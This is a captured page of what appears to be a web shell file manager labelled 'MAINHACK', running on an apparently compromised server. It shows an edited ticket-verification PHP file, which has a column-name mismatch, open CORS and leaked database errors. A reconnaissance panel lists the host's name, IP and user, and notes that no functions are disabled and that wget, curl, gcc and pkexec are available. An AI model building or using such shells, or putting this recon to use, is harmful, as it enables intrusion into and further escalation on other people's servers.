[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: VerifyTicket.php
<?php header('Content-Type: application/json'); header('Access-Control-Allow-Origin: *'); // Allow CORS for local testing // Start session session_start(); // Include database connection include("functions.php"); // Check database connection if (!isset($con) || !($con instanceof PDO)) { echo json_encode(['valid' => false, 'message' => 'Database connection failed.']); exit; } // Check user authentication if (!isset($_SESSION['username_Xw21erAAsqg4']) || empty($_SESSION['username_Xw21erAAsqg4'])) { echo json_encode(['valid' => false, 'message' => 'User not authenticated.']); exit; } $username = $_SESSION['username_Xw21erAAsqg4']; try { // Get input data $data = json_decode(file_get_contents('php://input'), true); $ticket_code = isset($data['ticket_code']) ? trim($data['ticket_code']) : ''; $mode = isset($data['mode']) ? $data['mode'] : 'check'; // 'check' for live search, 'confirm' for marking as used if (empty($ticket_code)) { echo json_encode(['valid' => false, 'message' => 'Ticket code is required']); exit; } // Query to check ticket code and usage status $stmt = $con->prepare('SELECT * FROM tickets WHERE ticket_code = ?'); $stmt->execute([$ticket_code]); $result = $stmt->fetch(PDO::FETCH_ASSOC); if (!$result) { // Ticket code does not exist echo json_encode(['valid' => false, 'message' => 'Invalid ticket code.']); exit; } if ($result['ticket_used'] == 1) { // Ticket already used echo json_encode(['valid' => false, 'message' => 'Ticket has already been used.']); exit; } if ($mode === 'confirm') { // Ticket is valid and unused; update ticket_used and verifyby $updateStmt = $con->prepare('UPDATE tickets SET ticketused = 1, verifyby = ? WHERE ticket_code = ?'); $updateStmt->execute([$username, $ticket_code]); echo json_encode(['valid' => true, 'message' => 'Ticket is valid and has been marked as used!']); } else { // Live search mode: just confirm validity echo json_encode(['valid' => true, 'message' => 'Ticket is valid. Click Confirm to mark as used.']); } } catch (PDOException $e) { echo json_encode(['valid' => false, 'message' => 'Database error: ' . $e->getMessage()]); } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 60.07 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002